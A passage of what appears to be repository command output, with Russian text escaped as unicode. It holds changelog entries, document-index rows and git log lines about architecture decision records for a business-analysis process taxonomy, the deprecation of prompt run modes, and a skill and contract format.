\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432. ADR-007 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u0441\u0438\u043b\u0435 \u0438 \u043d\u0435 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f `superseded`; \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0442\u0440\u0438 \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u0430 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430.\\n\\n- research: \u0434\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u043c\u0435\u0440 [\u0413\u0440\u0430\u043d\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c \u043d\u0430\u0432\u044b\u043a\u0430 \u0438 \u0444\u043e\u0440\u043c\u0430\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430](research/ba-requirements/2026-09-10-skill-granularity-format-facts.md) \u0438 \u0438\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044c [`measure-skill-format.py`](research/ba-requirements/exp/ba-process-taxonomy-571/measure-skill-format.py) (issue #571, [\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u043a PR #572](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/572)) \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0434\u0432\u0443\u0445 \u0433\u0438\u043f\u043e\u0442\u0435\u0437 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0432\u043c\u0435\u0441\u0442\u043e \u043e\u0442\u0432\u0435\u0442\u0430 \u0440\u0430\u0441\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u0435\u043c. \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0441\u0440\u0435\u0434\u044b \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0430 \u0444\u0430\u043a\u0442\u0430\u043c\u0438 `GC-25`\u2013`GC-28`: \u043d\u0430\u0432\u044b\u043a \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d \u0447\u0435\u0440\u0435\u0437 **\u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u044b**, \u0430 \u043d\u0435 \u0447\u0435\u0440\u0435\u0437 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u044b \u043d\u0438\u0436\u043d\u044f\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0444\u043e\u0440\u043c\u044b (\u043a\u043e\u0440\u043e\u0442\u043a\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u2014 \u043c\u0435\u0441\u0442\u043e \u0432 `AGENTS.md`) \u0438 \u0432\u0435\u0440\u0445\u043d\u044f\u044f (\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0430 \u0438 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u2014 \u0430\u0433\u0435\u043d\u0442). \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 0.2 \u00ab\u043d\u0430\u0432\u044b\u043a \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u043d\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\u00bb \u043e\u043f\u043e\u0440\u044b \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0441\u0440\u0435\u0434\u044b \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u0438 \u0431\u044b\u043b\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u0425\u0430\u0431\u0430, \u043f\u0440\u0435\u0434\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u043a\u0430\u043a \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u0440\u0435\u0434\u044b. \u0417\u0430\u043c\u0435\u0440 24 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u0430 \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u043b\u0438 **\u0444\u043e\u0440\u043c\u0430\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430**, \u0430 \u043d\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u044e: \u0442\u043e\u0447\u043a\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u043e\u0440\u0443 \u0434\u0435\u043b\u0438\u0442 \u043a\u043e\u0440\u043f\u0443\u0441 \u0431\u0435\u0437 \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u0441\u0435\u0447\u0435\u043d\u0438\u044f (`stepwise` 10 \u0438\u0437 10, `oneshot` 0 \u0438\u0437 9, `legacy` 0 \u0438\u0437 5), \u0442\u043e\u0433\u0434\u0430 \u043a\u0430\u043a \u0447\u0438\u0441\u043b\u043e \u0448\u0430\u0433\u043e\u0432 \u043d\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u0435\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u2014 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u044b\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u0435\u0441\u0442\u044c \u0443 9 \u0438\u0437 9 `oneshot`-\u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0440\u0430\u0432\u0435\u043d\u0441\u0442\u0432\u043e \u00ab`oneshot` = \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0430\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u00bb \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e. \u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 `L3` \u043d\u0430\u0432\u044b\u043a\u043e\u0432 \u0438\u0437 \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043d\u0435\u0442 \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e (2\u20137 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043d\u0430 \u043d\u0430\u0432\u044b\u043a), \u043d\u043e 21 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0438\u0437 31 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0442\u0440\u0435\u043c\u044f \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c\u0438 \u2014 \u043e\u0442\u0431\u043e\u0440 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u043e\u0432 \u043d\u0430 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0443 \u0432\u044b\u043d\u0435\u0441\u0435\u043d \u0432 `B-163`.\\n- adr: [ADR-016: \u041d\u0430\u0432\u044b\u043a \u2014 \u0444\u043e\u0440\u043c\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430, \u0444\u043e\u0440\u043c\u0430\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u2014 \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u043c\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e](docs/adr/2026-09-adr-016-skill-form-and-contract-format.md) (issue #571, `proposed`) \u2014 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 `SF-1`\u2026`SF-7`: \u043d\u0430\u0432\u044b\u043a \u043e\u0442\u0434\u0435\u043b\u0451\u043d \u043e\u0442 \u0443\u0440\u043e\u0432\u043d\u044f \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u0438 \u0443\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u0442 **\u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u0443\u0437\u0435\u043b** \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043b\u0438\u0431\u043e \u043e\u0434\u043d\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e; \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0444\u043e\u0440\u043c\u044b \u0437\u0430\u0434\u0430\u043d\u044b \u0441\u0440\u0435\u0434\u043e\u0439 (`SF-3`, `SF-4`); \u0444\u043e\u0440\u043c\u0430\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f `interaction` (`dialog` \\\\| `single-pass`) \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e \u043d\u0430\u043b\u0438\u0447\u0438\u044e \u0442\u043e\u0447\u043a\u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u043e\u0440\u0443, \u0430 \u043d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0430\u0435\u0442\u0441\u044f \u0430\u0432\u0442\u043e\u0440\u043e\u043c. \u0414\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f \u0438\u043c\u0451\u043d `stepwise`/`oneshot`/`legacy` \u043a\u0430\u043a **\u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438** \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u0441\u0438\u043b\u0435 (ADR-013): ADR-016 \u043d\u0435 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0440\u0435\u0436\u0438\u043c\u044b, \u0430 \u0444\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0442\u0443 \u043e\u0441\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043e\u043d\u0438 \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u043b\u0438 \u0441 \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c\u044e. \u0423\u0442\u043e\u0447\u043d\u044f\u0435\u0442 ADR-015, \u0437\u0430\u043c\u0435\u043d\u044f\u044f \u043f\u0440\u0430\u0432\u0438\u043b\u043e `SB-1`.\\n\\n81:| `/docs/ba-meta-model-overview.md` | \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f | \u2014 | \u0427\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u043e\u0431\u0437\u043e\u0440 \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0434\u043b\u044f stakeholder alignment: \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 prompt-only \u043f\u043e\u0434\u0445\u043e\u0434\u0430, \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438, \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438, \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u043e BCREQ, GigaCode mapping, Evidence Map \u0438 \u043f\u0435\u0440\u0432\u044b\u0439 MVP. | \u2705 \u0414\u0430 | `projects/ba-ai-process/ba-meta-model/`, `docs/adr/2026-09-adr-013-run-modes-deprecation.md`, `docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md`, `tools/test-ba-meta-model-overview.sh` |\\n106:| `/docs/adr/2026-09-adr-013-run-modes-deprecation.md` | \u0440\u0435\u0448\u0435\u043d\u0438\u0435 | \u0441\u043f\u0440\u0430\u0432\u043a\u0430 | ADR \u0434\u043b\u044f issue #563: \u0440\u0435\u0436\u0438\u043c\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430 `stepwise`, `oneshot`, `legacy` \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u0432 `deprecated` \u0438 \u0438\u0441\u043a\u043b\u044e\u0447\u0430\u044e\u0442\u0441\u044f \u0438\u0437 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0445\u0435\u043c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438. \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0435: \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u043d\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u044e\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 (\u0441\u0440\u0435\u0434\u043d\u0438\u0439 \u0416\u0430\u043a\u043a\u0430\u0440 0.077), \u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e \u0440\u0435\u0436\u0438\u043c\u0443 \u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u0442\u0441\u044f. \u0418\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043f\u0430\u0440\u0430 \u00ab\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f + \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441\u00bb; \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043d\u0435 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f \u0438 \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u2014 \u043e\u043d\u0438 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438. | \u26a0\ufe0f \u041f\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 | `projects/ba-ai-process/ba-meta-model/20-taxonomy.md` |\\n108:| `/docs/adr/2026-09-adr-015-process-operation-taxonomy-rebuild.md` | \u0440\u0435\u0448\u0435\u043d\u0438\u0435 | \u0441\u043f\u0440\u0430\u0432\u043a\u0430 | ADR \u0434\u043b\u044f issue #571: \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0411\u0410 \u043f\u0435\u0440\u0435\u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0431\u0430\u0437\u0438\u0441\u0430, \u0430 \u043d\u0435 \u043f\u0440\u0430\u0432\u0438\u0442\u0441\u044f \u0442\u043e\u0447\u0435\u0447\u043d\u043e. \u041f\u0440\u0430\u0432\u0438\u043b\u0430 `TX-1`\u2026`TX-7`: `L0`/`L1` \u043d\u0430\u0441\u043b\u0435\u0434\u0443\u044e\u0442\u0441\u044f \u0438\u0437 BABOK v3 \u0431\u0435\u0437 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u044f, `L2`/`L3` \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0434\u0435\u043b\u044c\u0442\u043e\u0439 \u041a\u041a \u041c\u0430\u043d\u0433\u043e \u0441 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u044f, \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u2014 \u0441\u043c\u0435\u043d\u0430 \u043a\u043b\u0430\u0441\u0441\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u0430 \u043d\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430, \u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043a\u043b\u0430\u0441\u0441 \u0432\u044b\u0445\u043e\u0434\u0430 (\u0441\u043a\u043b\u0435\u0439\u043a\u0430 \u00ab\u0424\u0422/\u0422\u0417\u00bb \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u0430), \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0430 \u0438 \u0431\u0435\u0437 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f, \u0432\u0441\u0451 \u0432\u0435\u0442\u0432\u044f\u0449\u0435\u0435\u0441\u044f \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441. \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0435: \u0432\u043e\u0441\u0435\u043c\u044c \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 `D1`\u2026`D8` \u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0430\u0445 `8cbf82a` \u0438 `15aa76f`. \u041f\u0440\u0435\u0436\u043d\u0438\u0435 \u0434\u0435\u0432\u044f\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u0442\u0440\u0438\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0434\u0435\u043f\u0440\u0435\u043a\u0438\u0440\u0443\u044e\u0442\u0441\u044f, \u043d\u043e \u043d\u0435 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f. | \u26a0\ufe0f \u041f\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 | `projects/ba-ai-process/ba-meta-model/process-taxonomy/`, `projects/ba-ai-process/ba-meta-model/operation-taxonomy/`, `research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md` |\\n109:| `/docs/adr/2026-09-adr-016-skill-form-and-contract-format.md` | \u0440\u0435\u0448\u0435\u043d\u0438\u0435 | \u0441\u043f\u0440\u0430\u0432\u043a\u0430 | ADR \u043f\u043e [\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u043a PR #572](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/572): \u043d\u0430\u0432\u044b\u043a \u2014 **\u0444\u043e\u0440\u043c\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438** \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0432 \u0441\u0440\u0435\u0434\u0443, \u0430 \u043d\u0435 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438. \u041f\u0440\u0430\u0432\u0438\u043b\u0430 `SF-1`\u2026`SF-7`: \u043d\u0430\u0432\u044b\u043a \u0443\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u0443\u0437\u0435\u043b \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043b\u0438\u0431\u043e \u043e\u0434\u043d\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e; \u043d\u0438\u0436\u043d\u044f\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0444\u043e\u0440\u043c\u044b \u2014 `AGENTS.md` (`GC-26`), \u0432\u0435\u0440\u0445\u043d\u044f\u044f \u2014 \u0430\u0433\u0435\u043d\u0442 \u0441 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 (`GC-28`); \u0444\u043e\u0440\u043c\u0430\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f `interaction` (`dialog` \\\\| `single-pass`) **\u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f** \u043f\u043e \u043d\u0430\u043b\u0438\u0447\u0438\u044e \u0442\u043e\u0447\u043a\u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u043e\u0440\u0443, \u0430 \u043d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0430\u0435\u0442\u0441\u044f; \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f \u0438\u043c\u0451\u043d \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u043a\u0430\u043a \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 (ADR-013) \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u0441\u0438\u043b\u0435. \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0435: \u0442\u043e\u0447\u043a\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0434\u0435\u043b\u0438\u0442 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u0440\u043f\u0443\u0441 \u0431\u0435\u0437 \u043f\u0435\u0440\u0435\u0441\u0435\u0447\u0435\u043d\u0438\u044f (`stepwise` 10/10, `oneshot` 0/9), \u0430 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u00ab`oneshot` \u21d2 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u044c\u00bb \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e (9/9 `oneshot` \u0438\u043c\u0435\u044e\u0442 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u044b\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c). \u0423\u0442\u043e\u0447\u043d\u044f\u0435\u0442 ADR-015 (\u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442 `SB-1`), \u0434\u043e\u043f\u043e\u043b\u043d\u044f\u0435\u0442 ADR-013. | \u26a0\ufe0f \u041f\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 | `research/ba-requirements/2026-09-10-skill-granularity-format-facts.md`, `projects/ba-ai-process/ba-meta-model/process-taxonomy/10-theory.md` |\\n111:| `/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md` | \u0440\u0435\u0448\u0435\u043d\u0438\u0435 | \u0441\u043f\u0440\u0430\u0432\u043a\u0430 | Accepted ADR \u0434\u043b\u044f issues [#595](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/595) \u0438 [#599](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/599): \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 `Source \u2192 Distribution \u2192 Runtime \u2192 Feedback`, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 [`projects/ba-ai-process/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process) \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c\u044e \u0438 rationale, \u0447\u0438\u0441\u0442\u044b\u0435 `execution-package-` \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043f\u043e allowlist \u0441 provenance, \u0430 runtime [`G-Ivan-A/mango-ba-ai-runtime-cli`](https://github.com/G-Ivan-A/mango-ba-ai-runtime-cli) \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u0435\u043d \u043e\u0442 Source. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u043e \u0432 project-scoped `decisions/`; \u043f\u0435\u0440\u0432\u0430\u044f \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u044f \u0432\u044b\u0434\u0435\u043b\u044f\u0435\u0442 `dist/`, `tests/` \u0438 `experiments/`. \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u0430, \u043d\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 `ba-meta-model` \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 `scope: mango-only` \u0434\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u0438\u043b\u0438 \u0434\u043e\u043c\u0435\u043d\u0435. | \u26a0\ufe0f \u041f\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 | [\u0442\u0435\u043a\u0443\u0449\u0438\u0439 Source](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process), [Research Mango](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/mango), [AI Education](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ai-education), [\u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 backlog](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md), [ADR Structure Standard](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/adr-structure-standard.md) |\\necb1d94 Merge pull request #641 from G-Ivan-A/issue-638-dea7773c503b\\neda9cac ops(backlog): renumber GigaCode guide items to B-219..B-222 in sprint 27 after merging main (#638)\\n CHANGELOG.md | 2 +-\\n 